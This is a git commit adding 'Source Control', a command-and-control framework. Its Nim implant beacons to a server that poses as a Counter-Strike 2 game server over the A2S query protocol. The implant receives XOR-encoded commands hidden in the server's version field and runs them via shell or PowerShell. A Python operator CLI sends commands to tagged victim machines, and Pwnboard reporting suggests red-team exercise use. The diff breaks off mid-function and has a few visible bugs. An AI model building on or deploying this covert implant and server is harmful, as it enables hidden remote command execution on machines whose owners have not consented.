Initial commit
This commit is contained in:
commit
fc22980f85
24
README.md
Normal file
24
README.md
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
# Source Control
|
||||||
|
A C2 server that uses the [A2S query protocol](https://developer.valvesoftware.com/wiki/Server_queries)
|
||||||
|
|
||||||
|
## Building the client
|
||||||
|
If it's not already installed, install [Nim](https://nim-lang.org/install.html)
|
||||||
|
|
||||||
|
Then compile:
|
||||||
|
```bash
|
||||||
|
nim c -d:release client/main.nim # Will output to client/main
|
||||||
|
```
|
||||||
|
|
||||||
|
## Running the server
|
||||||
|
- In `server/`, modify `config.yml` as needed
|
||||||
|
|
||||||
|
- Install the requirements: `pip install -r requirements.txt`
|
||||||
|
|
||||||
|
- Then you can run the server: `python3 source-control.py`
|
||||||
|
|
||||||
|
## Using the CLI
|
||||||
|
- In `cli/`, modify `config.yml` as needed
|
||||||
|
|
||||||
|
- Install the requirements: `pip install -r requirements.txt`
|
||||||
|
|
||||||
|
- Then you can run the CLI: `python3 cli.py`
|
||||||
251
cli/cli.py
Normal file
251
cli/cli.py
Normal file
@ -0,0 +1,251 @@
|
|||||||
|
import peewee
|
||||||
|
import yaml
|
||||||
|
from rich.table import Table
|
||||||
|
from rich.console import Console
|
||||||
|
from datetime import datetime
|
||||||
|
import time
|
||||||
|
|
||||||
|
with open('config.yml', 'r') as config_file:
|
||||||
|
config = yaml.safe_load(config_file)
|
||||||
|
|
||||||
|
if config['database'] == 'postgresql':
|
||||||
|
db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password'])
|
||||||
|
else:
|
||||||
|
db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'})
|
||||||
|
|
||||||
|
class Task(peewee.Model):
|
||||||
|
id = peewee.BigIntegerField(primary_key=True, unique=True, null=False)
|
||||||
|
agent_ip = peewee.CharField(null=False)
|
||||||
|
task = peewee.CharField(null=False)
|
||||||
|
completed = peewee.BigIntegerField(default=0, null=False)
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'tasks'
|
||||||
|
|
||||||
|
class Agent(peewee.Model):
|
||||||
|
ip = peewee.CharField(null=False)
|
||||||
|
checkins = peewee.BigIntegerField(default=0, null=False)
|
||||||
|
last_checkin = peewee.BigIntegerField(null=False)
|
||||||
|
tasks_sent = peewee.BigIntegerField(default=0, null=False)
|
||||||
|
tags = peewee.CharField(null=False, default='')
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'agents'
|
||||||
|
|
||||||
|
class Colors:
|
||||||
|
RESET = '\033[0m'
|
||||||
|
BLUE = '\033[94m'
|
||||||
|
RED = '\033[91m'
|
||||||
|
CYAN = '\033[96m'
|
||||||
|
GREEN = '\033[92m'
|
||||||
|
YELLOW = '\033[93m'
|
||||||
|
|
||||||
|
def print_banner() -> None:
|
||||||
|
print(f'''
|
||||||
|
{Colors.YELLOW}())))))))))))))))()){Colors.RESET}
|
||||||
|
{Colors.YELLOW}()))))))))))))))))))))))(){Colors.RESET}
|
||||||
|
{Colors.YELLOW}())))) )))))))))))))))){Colors.RESET}
|
||||||
|
.d88888b a88888b. dP dP {Colors.YELLOW})))))))))))){Colors.RESET}
|
||||||
|
88. "' d8' `88 88 88 {Colors.YELLOW}))))))))){Colors.RESET}
|
||||||
|
`Y88888b. .d8888b. dP dP 88d888b. .d8888b. .d8888b. 88 .d8888b. 88d888b. d8888P 88d888b. .d8888b. 88 {Colors.YELLOW})))))))){Colors.RESET}
|
||||||
|
`8b 88' `88 88 88 88' `88 88' `"" 88ooood8 88 88' `88 88' `88 88 88' `88 88' `88 88 {Colors.YELLOW})))))/{Colors.RESET}
|
||||||
|
d8' .8P 88. .88 88. .88 88 88. ... 88. ... Y8. .88 88. .88 88 88 88 88 88. .88 88 {Colors.YELLOW}))))/{Colors.RESET}
|
||||||
|
Y88888P `88888P' `88888P' dP `88888P' `88888P' Y88888P' `88888P' dP dP dP dP `88888P' dP {Colors.YELLOW}))))/{Colors.RESET}
|
||||||
|
{Colors.YELLOW})))({Colors.RESET}
|
||||||
|
Welcome to {Colors.YELLOW}Source Control{Colors.RESET} CLI {Colors.YELLOW}())))){Colors.RESET}
|
||||||
|
Use `{Colors.YELLOW}help{Colors.RESET}` for a list of commands
|
||||||
|
''')
|
||||||
|
|
||||||
|
def print_help() -> None:
|
||||||
|
print(f'''
|
||||||
|
Commands:
|
||||||
|
help - Prints this menu
|
||||||
|
|
||||||
|
agents - List all agents
|
||||||
|
agents {Colors.YELLOW}<tag>{Colors.RESET} - List all agents with tag {Colors.YELLOW}<tag>{Colors.RESET}
|
||||||
|
agents {Colors.YELLOW}<IP>{Colors.RESET} - Get details about the agent with IP {Colors.YELLOW}<IP>{Colors.RESET}
|
||||||
|
|
||||||
|
stats - Prints statistics about the agents
|
||||||
|
|
||||||
|
command {Colors.YELLOW}<IP|tag> <command>{Colors.RESET} - Send a command to the selected agents
|
||||||
|
|
||||||
|
tag {Colors.YELLOW}<IP>{Colors.RESET} {Colors.YELLOW}<tag>{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas)
|
||||||
|
|
||||||
|
clear - Clear the screen
|
||||||
|
exit - Exit the CLI
|
||||||
|
''')
|
||||||
|
|
||||||
|
def print_agents() -> None:
|
||||||
|
table = Table()
|
||||||
|
|
||||||
|
table.add_column('IP')
|
||||||
|
table.add_column('Status')
|
||||||
|
table.add_column('Checkins')
|
||||||
|
table.add_column('Last Checkin')
|
||||||
|
table.add_column('Tasks Sent')
|
||||||
|
table.add_column('Tags')
|
||||||
|
|
||||||
|
for agent in Agent.select():
|
||||||
|
tags_string = ''
|
||||||
|
|
||||||
|
for tag in agent.tags.split(','):
|
||||||
|
if tag == 'linux':
|
||||||
|
tags_string = tags_string + '[green]' + tag + '[/green] '
|
||||||
|
elif tag == 'windows':
|
||||||
|
tags_string = tags_string + '[blue]' + tag + '[/blue] '
|
||||||
|
elif tag == 'bsd' or tag == 'pfsense':
|
||||||
|
tags_string = tags_string + '[yellow]' + tag + '[/yellow] '
|
||||||
|
else:
|
||||||
|
tags_string = tags_string + tag + ' '
|
||||||
|
|
||||||
|
if time.time() - agent.last_checkin >= 600:
|
||||||
|
table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||||
|
else:
|
||||||
|
table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||||
|
|
||||||
|
Console().print(table)
|
||||||
|
|
||||||
|
def print_agents_by_tag_or_ip(search_str: str) -> None:
|
||||||
|
table = Table()
|
||||||
|
|
||||||
|
table.add_column('IP')
|
||||||
|
table.add_column('Status')
|
||||||
|
table.add_column('Checkins')
|
||||||
|
table.add_column('Last Checkin')
|
||||||
|
table.add_column('Tasks Sent')
|
||||||
|
table.add_column('Tags')
|
||||||
|
|
||||||
|
for agent in Agent.select():
|
||||||
|
tags_string = ''
|
||||||
|
|
||||||
|
for tag in agent.tags.split(','):
|
||||||
|
if tag == 'linux':
|
||||||
|
tags_string = tags_string + '[green]' + tag + '[/green] '
|
||||||
|
elif tag == 'windows':
|
||||||
|
tags_string = tags_string + '[blue]' + tag + '[/blue] '
|
||||||
|
elif tag == 'bsd' or tag == 'pfsense':
|
||||||
|
tags_string = tags_string + '[yellow]' + tag + '[/yellow] '
|
||||||
|
else:
|
||||||
|
tags_string = tags_string + tag + ' '
|
||||||
|
|
||||||
|
if search_str in agent.tags.split(',') or agent.ip == search_str:
|
||||||
|
if time.time() - agent.last_checkin >= config['inactive_time']:
|
||||||
|
table.add_row(agent.ip, '[red]Inactive[/red]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||||
|
else:
|
||||||
|
table.add_row(agent.ip, '[green]Active[/green]', str(agent.checkins), str(datetime.fromtimestamp(agent.last_checkin)), str(agent.tasks_sent), tags_string)
|
||||||
|
|
||||||
|
Console().print(table)
|
||||||
|
|
||||||
|
def print_status() -> None:
|
||||||
|
total_agents = len(Agent.select())
|
||||||
|
active_agents = len(Agent.select().where(Agent.last_checkin >= time.time() - config['inactive_time']))
|
||||||
|
inactive_agents = len(Agent.select().where(Agent.last_checkin < time.time() - config['inactive_time']))
|
||||||
|
total_tasks = len(Task.select())
|
||||||
|
completed_tasks = len(Task.select().where(Task.completed == 1))
|
||||||
|
|
||||||
|
print(f'''
|
||||||
|
Total Agents: {total_agents}
|
||||||
|
Active Agents: {Colors.GREEN}{active_agents}{Colors.RESET}
|
||||||
|
Inactive Agents: {Colors.RED}{inactive_agents}{Colors.RESET}
|
||||||
|
Total Tasks: {total_tasks}
|
||||||
|
Completed Tasks: {completed_tasks}
|
||||||
|
''')
|
||||||
|
|
||||||
|
def ip_match(ip: str, pattern: str):
|
||||||
|
return(all(p == '*' or x == p for x, p in zip(ip.split('.'), pattern.split('.'))))
|
||||||
|
|
||||||
|
def is_agent(agent_ip: str) -> bool:
|
||||||
|
return(len(Agent.select().where(Agent.ip == agent_ip)) != 0)
|
||||||
|
|
||||||
|
def select_agents(search_str: str) -> list:
|
||||||
|
agents = []
|
||||||
|
|
||||||
|
query = Agent.select()
|
||||||
|
|
||||||
|
for agent in query:
|
||||||
|
if ip_match(agent.ip, search_str) or search_str in agent.tags:
|
||||||
|
agents.append(agent)
|
||||||
|
|
||||||
|
return(agents)
|
||||||
|
|
||||||
|
def send_command(search_str: str, command: str) -> None:
|
||||||
|
agents = select_agents(search_str)
|
||||||
|
commands_sent = 0
|
||||||
|
|
||||||
|
for agent in agents:
|
||||||
|
Task.create(agent_ip = agent.ip, task = command, completed = False)
|
||||||
|
commands_sent += 1
|
||||||
|
|
||||||
|
print(f'Sent the command to {Colors.YELLOW}{commands_sent}{Colors.RESET} agents')
|
||||||
|
|
||||||
|
def add_tag(ip_pattern: str, tag: str) -> None:
|
||||||
|
updated_agents = 0
|
||||||
|
|
||||||
|
for agent in Agent.select():
|
||||||
|
if ip_match(agent.ip, ip_pattern):
|
||||||
|
current_tags = agent.tags
|
||||||
|
|
||||||
|
if tag in current_tags[0].split(','):
|
||||||
|
print(f'{Colors.YELLOW}{agent.ip}{Colors.RESET} already has the tag {Colors.YELLOW}{tag}{Colors.RESET}.')
|
||||||
|
return
|
||||||
|
|
||||||
|
if current_tags[0] == '':
|
||||||
|
Agent.update(tags=str(tag)).where(Agent.ip == agent.ip).execute()
|
||||||
|
else:
|
||||||
|
Agent.update(tags=Agent.tags.concat(',' + str(tag))).where(Agent.ip == agent.ip).execute()
|
||||||
|
|
||||||
|
updated_agents += 1
|
||||||
|
|
||||||
|
print(f'Tagged {Colors.YELLOW}{updated_agents}{Colors.RESET} with {Colors.YELLOW}{tag}{Colors.RESET}')
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if config['print_banner']:
|
||||||
|
print_banner()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
user_command = input('SC> ').split(' ')
|
||||||
|
|
||||||
|
match user_command[0]:
|
||||||
|
case 'help':
|
||||||
|
print_help()
|
||||||
|
|
||||||
|
case 'clear':
|
||||||
|
print('\x1b[2J\x1b[H')
|
||||||
|
|
||||||
|
case 'agents':
|
||||||
|
if len(user_command) < 2:
|
||||||
|
print_agents()
|
||||||
|
else:
|
||||||
|
print_agents_by_tag_or_ip(user_command[1])
|
||||||
|
|
||||||
|
case 'stats':
|
||||||
|
print_status()
|
||||||
|
|
||||||
|
case 'command':
|
||||||
|
if len(user_command) < 2:
|
||||||
|
print(f'\nUsage:\n\tcommand {Colors.YELLOW}<IP|tag> <command>{Colors.RESET} - Send a command to the selected agents\n')
|
||||||
|
else:
|
||||||
|
send_command(user_command[1], ' '.join(user_command[2:]))
|
||||||
|
|
||||||
|
case 'tag':
|
||||||
|
if len(user_command) < 3:
|
||||||
|
print(f'\nUsage:\n\ttag {Colors.YELLOW}<IP Regex>{Colors.RESET} {Colors.YELLOW}<tag>{Colors.RESET} - Add a tag to the selected agent (Tags cannot contain spaces or commas)\n')
|
||||||
|
else:
|
||||||
|
if ',' in user_command[2]:
|
||||||
|
print(f'{Colors.RED}Tags cannot contain commas.{Colors.RESET}')
|
||||||
|
|
||||||
|
else:
|
||||||
|
add_tag(user_command[1], user_command[2])
|
||||||
|
|
||||||
|
case 'exit':
|
||||||
|
print(f'{Colors.YELLOW}Goodbye!{Colors.RESET}')
|
||||||
|
quit(0)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print('')
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
18
cli/config.yml
Normal file
18
cli/config.yml
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
print_banner: true
|
||||||
|
|
||||||
|
# How many seconds without a checkin before an agent is marked as inactive
|
||||||
|
inactive_time: 600
|
||||||
|
|
||||||
|
# Options: postgresql or sqlite
|
||||||
|
database: sqlite
|
||||||
|
|
||||||
|
# Only required if database = sqlite
|
||||||
|
sqlite:
|
||||||
|
db_path: ../server/source-ctrl.db
|
||||||
|
|
||||||
|
# Only required if database = postgresql
|
||||||
|
postgresql:
|
||||||
|
host: 127.0.0.1
|
||||||
|
db_name: source_control
|
||||||
|
user: sc_user
|
||||||
|
password: password
|
||||||
2
cli/requirements.txt
Normal file
2
cli/requirements.txt
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
peewee
|
||||||
|
rich
|
||||||
115
client/main.nim
Normal file
115
client/main.nim
Normal file
@ -0,0 +1,115 @@
|
|||||||
|
import net
|
||||||
|
import os
|
||||||
|
import osproc
|
||||||
|
import base64
|
||||||
|
|
||||||
|
const SERVER: string = "127.0.0.1"
|
||||||
|
const PORT: Port = Port(27015)
|
||||||
|
const KEY: string = "asdf"
|
||||||
|
const CHECKING_TIME: int = 240
|
||||||
|
|
||||||
|
const HEADER_PADDING: string = "\xFF\xFF\xFF\xFF"
|
||||||
|
const INFO_HEADER: string = "\x54"
|
||||||
|
|
||||||
|
var IP: string = $getPrimaryIPAddr()
|
||||||
|
|
||||||
|
type InfoResponse = object
|
||||||
|
bots: int
|
||||||
|
version: string
|
||||||
|
|
||||||
|
proc skipCString(data: string, index: int): int =
|
||||||
|
var newIndex: int = index + 1;
|
||||||
|
|
||||||
|
while newIndex < data.len:
|
||||||
|
if data[newIndex] == '\x00':
|
||||||
|
break
|
||||||
|
|
||||||
|
newIndex = newIndex + 1
|
||||||
|
|
||||||
|
return newIndex
|
||||||
|
|
||||||
|
proc xorMessage(plain: string, key: string): string =
|
||||||
|
result = newString(plain.len)
|
||||||
|
|
||||||
|
for i in 0 ..< plain.len:
|
||||||
|
let plainByte = ord(plain[i])
|
||||||
|
let keyByte = ord(key[i mod key.len])
|
||||||
|
result[i] = chr(plainByte xor keyByte)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
proc sendInfoQuery(socket: Socket): void =
|
||||||
|
var queryPayload: string = HEADER_PADDING & INFO_HEADER & "Source Engine Query" & encode(xorMessage(IP, KEY)) & "\x00"
|
||||||
|
socket.sendTo(SERVER, PORT, queryPayload)
|
||||||
|
|
||||||
|
proc parseInfo(msg: string): InfoResponse =
|
||||||
|
if msg == "":
|
||||||
|
return
|
||||||
|
|
||||||
|
var i: int = 6 # Skip header and protocol
|
||||||
|
|
||||||
|
#Skip name, map, folder, game
|
||||||
|
for x in 1..4:
|
||||||
|
i = skipCString(msg, i)
|
||||||
|
|
||||||
|
i = i + 5 # Skip Steam app ID, players, max players
|
||||||
|
|
||||||
|
var bots: int
|
||||||
|
if msg[i] == '\x00':
|
||||||
|
bots = 0
|
||||||
|
else:
|
||||||
|
bots = 1
|
||||||
|
|
||||||
|
i = i + 5 # Skip server type, environment, visibility, VAC
|
||||||
|
|
||||||
|
var encVersion: string
|
||||||
|
|
||||||
|
while true:
|
||||||
|
if msg[i] == '\x00':
|
||||||
|
break
|
||||||
|
|
||||||
|
encVersion = encVersion & msg[i]
|
||||||
|
i = i + 1
|
||||||
|
|
||||||
|
var version: string = xorMessage(decode(encVersion), KEY)
|
||||||
|
|
||||||
|
return InfoResponse(bots: bots, version: version)
|
||||||
|
|
||||||
|
proc recvResponse(socket: Socket): string =
|
||||||
|
var message: string
|
||||||
|
var data: string
|
||||||
|
|
||||||
|
while true:
|
||||||
|
try:
|
||||||
|
data = socket.recv(1, 1000)
|
||||||
|
|
||||||
|
message = message & data
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
return message
|
||||||
|
|
||||||
|
proc main(): void =
|
||||||
|
var socket: Socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
|
||||||
|
var response: string
|
||||||
|
var info: InfoResponse
|
||||||
|
|
||||||
|
while true:
|
||||||
|
try:
|
||||||
|
sendInfoQuery(socket)
|
||||||
|
response = recvResponse(socket)
|
||||||
|
info = parseInfo(response)
|
||||||
|
|
||||||
|
if defined(windows):
|
||||||
|
discard execCmdEx("powershell -c " & info.version)
|
||||||
|
else:
|
||||||
|
discard execCmdEx(info.version)
|
||||||
|
|
||||||
|
except:
|
||||||
|
discard
|
||||||
|
|
||||||
|
if info.bots == 0:
|
||||||
|
sleep(CHECKING_TIME * 1000)
|
||||||
|
|
||||||
|
if isMainModule:
|
||||||
|
main()
|
||||||
52
server/config.yml
Normal file
52
server/config.yml
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
# Address to listen on
|
||||||
|
address: 0.0.0.0
|
||||||
|
|
||||||
|
# Port to listen on
|
||||||
|
port: 27015
|
||||||
|
|
||||||
|
# Encryption key
|
||||||
|
key: asdf
|
||||||
|
|
||||||
|
# Options: postgresql or sqlite
|
||||||
|
database: sqlite
|
||||||
|
|
||||||
|
# Only required if database = sqlite
|
||||||
|
sqlite:
|
||||||
|
db_path: source-ctrl.db
|
||||||
|
|
||||||
|
# Only required if database = postgresql
|
||||||
|
postgresql:
|
||||||
|
host: 127.0.0.1
|
||||||
|
db_name: source_control
|
||||||
|
user: sc_user
|
||||||
|
password: password
|
||||||
|
|
||||||
|
pwnboard:
|
||||||
|
use_pwnboard: false
|
||||||
|
url: https://www.pwnboard.win/
|
||||||
|
access_token: pwnboard_api_access_token
|
||||||
|
|
||||||
|
# Server information to be displayed
|
||||||
|
server:
|
||||||
|
server_name: XPLAY.GG • CS2 DM FFA 8 • [US]
|
||||||
|
map_name: de_dust2
|
||||||
|
folder: csgo
|
||||||
|
game: Counter-Strike 2
|
||||||
|
app_id: 730
|
||||||
|
max_players: 16
|
||||||
|
vac: true
|
||||||
|
dedicated: true
|
||||||
|
platform: w # w -> Window, l -> Linux
|
||||||
|
version: 2025.03.26
|
||||||
|
|
||||||
|
# Usernames of the connected players
|
||||||
|
players:
|
||||||
|
- Player 1
|
||||||
|
- Player 2
|
||||||
|
- Player 3
|
||||||
|
|
||||||
|
|
||||||
|
logging:
|
||||||
|
log_file: source-ctrl.log
|
||||||
|
print_logs: true
|
||||||
|
write_logs: true
|
||||||
1
server/requirements.txt
Normal file
1
server/requirements.txt
Normal file
@ -0,0 +1 @@
|
|||||||
|
peewee
|
||||||
5
server/source-control.py
Normal file
5
server/source-control.py
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
import source_ctrl
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
server = source_ctrl.A2Sserver(source_ctrl.config['address'], source_ctrl.config['port'])
|
||||||
|
server.start()
|
||||||
2
server/source_ctrl/__init__.py
Normal file
2
server/source_ctrl/__init__.py
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
from . server import A2Sserver
|
||||||
|
from .config import config
|
||||||
4
server/source_ctrl/config.py
Normal file
4
server/source_ctrl/config.py
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
import yaml
|
||||||
|
|
||||||
|
with open('config.yml', 'r') as config_file:
|
||||||
|
config = yaml.safe_load(config_file)
|
||||||
31
server/source_ctrl/database.py
Normal file
31
server/source_ctrl/database.py
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
import peewee
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
|
||||||
|
if config['database'] == 'postgresql':
|
||||||
|
db = peewee.PostgresqlDatabase(config['postgresql']['db_name'], user=config['postgresql']['user'], host=config['postgresql']['host'], password=config['postgresql']['password'])
|
||||||
|
else:
|
||||||
|
db = peewee.SqliteDatabase(config['sqlite']['db_path'], pragmas={'journal_mode': 'wal'})
|
||||||
|
|
||||||
|
class Task(peewee.Model):
|
||||||
|
id = peewee.BigIntegerField(primary_key=True, unique=True, null=False)
|
||||||
|
agent_ip = peewee.CharField(null=False)
|
||||||
|
task = peewee.CharField(null=False)
|
||||||
|
completed = peewee.BigIntegerField(default=0, null=False)
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'tasks'
|
||||||
|
|
||||||
|
class Agent(peewee.Model):
|
||||||
|
ip = peewee.CharField(null=False)
|
||||||
|
checkins = peewee.BigIntegerField(default=0, null=False)
|
||||||
|
last_checkin = peewee.BigIntegerField(null=False)
|
||||||
|
tasks_sent = peewee.BigIntegerField(default=0, null=False)
|
||||||
|
tags = peewee.CharField(null=False, default='')
|
||||||
|
|
||||||
|
class Meta:
|
||||||
|
database = db
|
||||||
|
db_table = 'agents'
|
||||||
|
|
||||||
|
db.create_tables([Task, Agent])
|
||||||
17
server/source_ctrl/logging.py
Normal file
17
server/source_ctrl/logging.py
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
from .config import config
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
class LogLevel:
|
||||||
|
INFO = '[INFO]'
|
||||||
|
WARN = '[WARNING]'
|
||||||
|
ERROR = '[ERROR]'
|
||||||
|
|
||||||
|
def log(level: LogLevel, message: str) -> None:
|
||||||
|
log = f'{level} - {datetime.now().strftime("%Y-%m-%d %H:%M:%S")} - {message}\n'
|
||||||
|
|
||||||
|
if config['logging']['print_logs']:
|
||||||
|
print(log, end='')
|
||||||
|
|
||||||
|
if config['logging']['write_logs']:
|
||||||
|
with open(config['logging']['log_file'], 'a') as log_file:
|
||||||
|
log_file.write(log)
|
||||||
192
server/source_ctrl/server.py
Normal file
192
server/source_ctrl/server.py
Normal file
@ -0,0 +1,192 @@
|
|||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import struct
|
||||||
|
import random
|
||||||
|
import time
|
||||||
|
from base64 import b64encode, b64decode
|
||||||
|
|
||||||
|
from .config import config
|
||||||
|
from .database import Task, Agent
|
||||||
|
from .logging import log, LogLevel
|
||||||
|
|
||||||
|
PADDING = b'\x00'
|
||||||
|
|
||||||
|
class A2Sserver:
|
||||||
|
def __init__(self, host: str, port: int):
|
||||||
|
self.__host = host
|
||||||
|
self.__port = port
|
||||||
|
|
||||||
|
self.__server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
self.__server_socket.bind((self.__host, self.__port))
|
||||||
|
|
||||||
|
self.key = config['key']
|
||||||
|
|
||||||
|
def __update_pwnboard(self, ip: str) -> None:
|
||||||
|
try:
|
||||||
|
requests.post(config['pwnboard']['url'], json={'ip': ip, 'application': 'Source Control', 'type': 'a2s c2'}, headers={'Content-Type': 'application/json', 'Authorization': f'Bearer {config["pwnboard"]["access_token"]}'}, timeout=5)
|
||||||
|
except:
|
||||||
|
log(LogLevel.ERROR, f'Failed to report callback to PWN Board. Reason: {e}')
|
||||||
|
|
||||||
|
def __xor_message(self, msg: str) -> str:
|
||||||
|
xored = ''
|
||||||
|
|
||||||
|
for i in range(len(msg)):
|
||||||
|
xored += chr(ord(msg[i]) ^ ord(self.key[i % len(self.key)]))
|
||||||
|
|
||||||
|
return(xored)
|
||||||
|
|
||||||
|
def __make_info_response(self, bots: int, version: str) -> bytes:
|
||||||
|
response = b'\xff\xff\xff\xff\x49' # Header
|
||||||
|
|
||||||
|
# Protocol
|
||||||
|
response += b'\x11'
|
||||||
|
|
||||||
|
# Server Name
|
||||||
|
response += config['server']['server_name'].encode('utf-8')
|
||||||
|
response += PADDING
|
||||||
|
|
||||||
|
# Map name
|
||||||
|
response += config['server']['map_name'].encode('utf-8')
|
||||||
|
response += PADDING
|
||||||
|
|
||||||
|
# Folder
|
||||||
|
response += config['server']['folder'].encode('utf-8')
|
||||||
|
response += PADDING
|
||||||
|
|
||||||
|
# Game
|
||||||
|
response += config['server']['game'].encode('utf-8')
|
||||||
|
response += PADDING
|
||||||
|
|
||||||
|
# Game ID
|
||||||
|
response += (int(config['server']['app_id'])).to_bytes(2, 'little')
|
||||||
|
|
||||||
|
# Playercount
|
||||||
|
response += (len(config['server']['players'])).to_bytes(1, 'little')
|
||||||
|
|
||||||
|
|
||||||
|
# Max playercount
|
||||||
|
response += (int(config['server']['max_players'])).to_bytes(1, 'little')
|
||||||
|
|
||||||
|
# Bot count
|
||||||
|
response += bots.to_bytes(1, 'little')
|
||||||
|
|
||||||
|
# Server type
|
||||||
|
if config['server']['dedicated'] == True:
|
||||||
|
response += 'd'.encode('utf-8')
|
||||||
|
else:
|
||||||
|
response += 'l'.encode('utf-8')
|
||||||
|
|
||||||
|
# Platform
|
||||||
|
response += config['server']['platform'].encode('utf-8')
|
||||||
|
|
||||||
|
# Visibility
|
||||||
|
response += b'\x00'
|
||||||
|
|
||||||
|
# VAC
|
||||||
|
if config['server']['vac'] == True:
|
||||||
|
response += b'\x01'
|
||||||
|
else:
|
||||||
|
response += b'\x00'
|
||||||
|
|
||||||
|
# Version
|
||||||
|
response += b64encode(self.__xor_message(version).encode('utf-8'))
|
||||||
|
response += PADDING
|
||||||
|
|
||||||
|
return(response)
|
||||||
|
|
||||||
|
def __make_player_response(self) -> bytes:
|
||||||
|
response = b'\xff\xff\xff\xff\x44'
|
||||||
|
|
||||||
|
# Playercount
|
||||||
|
response += (len(config['server']['players'])).to_bytes(1, 'little')
|
||||||
|
|
||||||
|
# Player list
|
||||||
|
for i in range(len(config['server']['players'])):
|
||||||
|
# Player index
|
||||||
|
response += (i).to_bytes(1, 'little')
|
||||||
|
|
||||||
|
# Player name
|
||||||
|
response += config['server']['players'][i].encode('utf-8')
|
||||||
|
response += PADDING
|
||||||
|
|
||||||
|
# Frags
|
||||||
|
response += (random.randint(0, 50)).to_bytes(4, 'little')
|
||||||
|
|
||||||
|
# Duration
|
||||||
|
response += (random.randint(0, 1000)).to_bytes(4, 'little')
|
||||||
|
|
||||||
|
return(response)
|
||||||
|
|
||||||
|
def __get_agent_ip(self, msg: bytes) -> str:
|
||||||
|
return(self.__xor_message(b64decode(msg[24:-1]).decode('utf-8')))
|
||||||
|
|
||||||
|
def __client_handler(self, address: tuple, msg: bytes) -> None:
|
||||||
|
log(LogLevel.INFO, f'Connection from {address[0]}:{address[1]} with message: {msg}')
|
||||||
|
|
||||||
|
try:
|
||||||
|
ip = self.__get_agent_ip(msg)
|
||||||
|
|
||||||
|
if ip == '' or ip == ' ' or ip == None:
|
||||||
|
# The client might not be a Source Control agent, send a normal response
|
||||||
|
match msg[4]:
|
||||||
|
case 84: # A2S_INFO
|
||||||
|
self.__server_socket.sendto(self.__make_info_response(0, config['server']['version']), address)
|
||||||
|
|
||||||
|
case 85: # A2S_PLAYER
|
||||||
|
self.__server_socket.sendto(self.__make_player_response(), address)
|
||||||
|
|
||||||
|
case 86: # A2S_RULES
|
||||||
|
self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
# What type of query is this?
|
||||||
|
match msg[4]:
|
||||||
|
case 84: # A2S_INFO
|
||||||
|
|
||||||
|
# Do we already have the agent?
|
||||||
|
if len(Agent.select().where(Agent.ip == ip).dicts()) == 0:
|
||||||
|
Agent.create(ip=ip, checkins=0, last_checkin=time.time(), tasks_sent=0, tags='') # Add them
|
||||||
|
|
||||||
|
# Add the checkin
|
||||||
|
Agent.update(checkins=Agent.checkins + 1).where(Agent.ip == ip).execute()
|
||||||
|
|
||||||
|
# Update their last checkin
|
||||||
|
Agent.update(last_checkin=time.time()).where(Agent.ip == ip).execute()
|
||||||
|
|
||||||
|
# Get the agnet's open tasks
|
||||||
|
open_tasks = Task.select().where(Task.agent_ip == ip, Task.completed == 0).dicts()
|
||||||
|
|
||||||
|
if len(open_tasks) == 0:
|
||||||
|
version = config['server']['version']
|
||||||
|
else:
|
||||||
|
version = open_tasks[0]['task']
|
||||||
|
|
||||||
|
# Send the info response
|
||||||
|
self.__server_socket.sendto(self.__make_info_response(len(open_tasks), version), address)
|
||||||
|
|
||||||
|
if len(open_tasks) != 0:
|
||||||
|
# Mark the task as completed
|
||||||
|
Task.update(completed = 1).where(Task.id == open_tasks[0]['id']).execute()
|
||||||
|
|
||||||
|
if config['pwnboard']['use_pwnboard'] == True:
|
||||||
|
self.__update_pwnboard(ip)
|
||||||
|
|
||||||
|
case 85: # A2S_PLAYER
|
||||||
|
self.__server_socket.sendto(self.__make_player_response(), address)
|
||||||
|
|
||||||
|
case 86: # A2S_RULES
|
||||||
|
self.__server_socket.sendto(b'\xff\xff\xff\xff\x45\x00\x00\x00', address) # Send empty rules
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
log(LogLevel.ERROR, f'Failed to create response for {address[0]}:{address[1]}. Reason: {e}')
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
msg, address = self.__server_socket.recvfrom(1024)
|
||||||
|
|
||||||
|
